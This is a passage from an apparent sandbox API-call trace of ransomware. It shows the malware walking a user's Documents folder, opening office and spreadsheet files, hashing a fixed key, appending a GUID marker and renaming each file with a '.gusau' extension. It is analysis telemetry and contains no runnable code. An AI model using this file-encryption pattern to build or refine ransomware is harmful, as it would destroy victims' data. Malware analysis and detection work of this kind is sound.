(lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.066] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.067] CloseHandle (hObject=0x610) returned 1 [0117.068] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4Q Yden1pX.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4q yden1px.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4Q Yden1pX.xls.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4q yden1px.xls.gusau")) returned 1 [0117.069] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a9e080, ftCreationTime.dwHighDateTime=0x1d4cdea, ftLastAccessTime.dwLowDateTime=0x7b89a410, ftLastAccessTime.dwHighDateTime=0x1d4d194, ftLastWriteTime.dwLowDateTime=0x7b89a410, ftLastWriteTime.dwHighDateTime=0x1d4d194, nFileSizeHigh=0x0, nFileSizeLow=0x16575, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4zo3jZ4ZhCJWz.doc", cAlternateFileName="4ZO3JZ~1.DOC")) returned 1 [0117.069] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4zo3jZ4ZhCJWz.doc") returned=".doc" [0117.069] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4zo3jZ4ZhCJWz.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4zo3jz4zhcjwz.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.070] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=91509) returned 1 [0117.070] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.072] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1654f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.073] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.074] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x16575, lpOverlapped=0x0) returned 1 [0117.075] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.075] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.075] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.075] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.076] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.076] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.076] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.076] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.076] GetLastError () returned 0x0 [0117.076] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.076] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.076] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x16575, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.077] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.077] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.077] CloseHandle (hObject=0x610) returned 1 [0117.078] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4zo3jZ4ZhCJWz.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4zo3jz4zhcjwz.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4zo3jZ4ZhCJWz.doc.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4zo3jz4zhcjwz.doc.gusau")) returned 1 [0117.080] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed384b0, ftCreationTime.dwHighDateTime=0x1d50585, ftLastAccessTime.dwLowDateTime=0x4c344330, ftLastAccessTime.dwHighDateTime=0x1d4bcab, ftLastWriteTime.dwLowDateTime=0x4c344330, ftLastWriteTime.dwHighDateTime=0x1d4bcab, nFileSizeHigh=0x0, nFileSizeLow=0x15a80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7SVXau9BM-qAm.docx", cAlternateFileName="7SVXAU~1.DOC")) returned 1 [0117.080] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7SVXau9BM-qAm.docx") returned=".docx" [0117.080] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7SVXau9BM-qAm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7svxau9bm-qam.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.080] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=88704) returned 1 [0117.081] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.083] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x15a5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.083] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.084] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x15a80, lpOverlapped=0x0) returned 1 [0117.085] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.085] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.085] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.085] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.086] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.086] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.086] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.086] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.086] GetLastError () returned 0x0 [0117.086] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.086] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.087] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x15a80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.087] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.087] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.087] CloseHandle (hObject=0x610) returned 1 [0117.088] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7SVXau9BM-qAm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7svxau9bm-qam.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7SVXau9BM-qAm.docx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7svxau9bm-qam.docx.gusau")) returned 1 [0117.089] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0f2980, ftCreationTime.dwHighDateTime=0x1d4d6b3, ftLastAccessTime.dwLowDateTime=0xdd05b4d0, ftLastAccessTime.dwHighDateTime=0x1d4d483, ftLastWriteTime.dwLowDateTime=0xdd05b4d0, ftLastWriteTime.dwHighDateTime=0x1d4d483, nFileSizeHigh=0x0, nFileSizeLow=0x9e0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8OcrQfqf9.xlsx", cAlternateFileName="8OCRQF~1.XLS")) returned 1 [0117.089] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8OcrQfqf9.xlsx") returned=".xlsx" [0117.089] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8OcrQfqf9.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8ocrqfqf9.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.090] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=40458) returned 1 [0117.090] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.092] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x9de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.092] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.093] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x9e0a, lpOverlapped=0x0) returned 1 [0117.094] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.094] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.094] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.094] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.095] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.095] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.095] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.095] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.095] GetLastError () returned 0x0 [0117.095] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.095] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.095] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x9e0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.095] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.095] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.096] CloseHandle (hObject=0x610) returned 1 [0117.096] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8OcrQfqf9.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8ocrqfqf9.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8OcrQfqf9.xlsx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8ocrqfqf9.xlsx.gusau")) returned 1 [0117.098] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616bf490, ftCreationTime.dwHighDateTime=0x1d4c6a7, ftLastAccessTime.dwLowDateTime=0x4fedcb40, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0x4fedcb40, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0xd154, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aHQ0mStm7MOUQz8p.csv", cAlternateFileName="AHQ0MS~1.CSV")) returned 1 [0117.098] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aHQ0mStm7MOUQz8p.csv") returned=".csv" [0117.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aHQ0mStm7MOUQz8p.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ahq0mstm7mouqz8p.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.099] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=53588) returned 1 [0117.099] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.101] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd12e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.101] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.102] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xd154, lpOverlapped=0x0) returned 1 [0117.103] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.103] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.103] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.103] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.104] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.104] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.104] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.104] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.104] GetLastError () returned 0x0 [0117.104] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.104] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.104] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.104] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.104] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.104] CloseHandle (hObject=0x610) returned 1 [0117.105] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aHQ0mStm7MOUQz8p.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ahq0mstm7mouqz8p.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aHQ0mStm7MOUQz8p.csv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ahq0mstm7mouqz8p.csv.gusau")) returned 1 [0117.107] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cefcac0, ftCreationTime.dwHighDateTime=0x1d4d16e, ftLastAccessTime.dwLowDateTime=0xa06c1130, ftLastAccessTime.dwHighDateTime=0x1d4ce1c, ftLastWriteTime.dwLowDateTime=0xa06c1130, ftLastWriteTime.dwHighDateTime=0x1d4ce1c, nFileSizeHigh=0x0, nFileSizeLow=0x165dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c74ORtbzoKEgt1tULZrF.ots", cAlternateFileName="C74ORT~1.OTS")) returned 1 [0117.107] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c74ORtbzoKEgt1tULZrF.ots") returned=".ots" [0117.107] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c74ORtbzoKEgt1tULZrF.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c74ortbzokegt1tulzrf.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.108] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=91613) returned 1 [0117.108] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.109] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x165b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.110] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.111] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x165dd, lpOverlapped=0x0) returned 1 [0117.112] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.112] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.112] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.112] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.113] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.113] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.113] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.113] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.113] GetLastError () returned 0x0 [0117.113] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.113] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.113] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x165dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.113] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.113] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.114] CloseHandle (hObject=0x610) returned 1 [0117.115] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c74ORtbzoKEgt1tULZrF.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c74ortbzokegt1tulzrf.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c74ORtbzoKEgt1tULZrF.ots.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c74ortbzokegt1tulzrf.ots.gusau")) returned 1 [0117.116] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.116] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned=".ini" [0117.116] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe114da60, ftCreationTime.dwHighDateTime=0x1d4d294, ftLastAccessTime.dwLowDateTime=0xf7b84b80, ftLastAccessTime.dwHighDateTime=0x1d4cec0, ftLastWriteTime.dwLowDateTime=0xf7b84b80, ftLastWriteTime.dwHighDateTime=0x1d4cec0, nFileSizeHigh=0x0, nFileSizeLow=0xe36b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Eiz2OkszASes0dl.ods", cAlternateFileName="EIZ2OK~1.ODS")) returned 1 [0117.116] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Eiz2OkszASes0dl.ods") returned=".ods" [0117.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Eiz2OkszASes0dl.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eiz2okszases0dl.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.117] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=58219) returned 1 [0117.117] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.118] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xe345, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.118] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.120] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xe36b, lpOverlapped=0x0) returned 1 [0117.120] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.120] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.120] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.120] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.121] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.121] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.121] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.121] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.121] GetLastError () returned 0x0 [0117.121] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.121] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.122] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xe36b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.122] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.122] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.122] CloseHandle 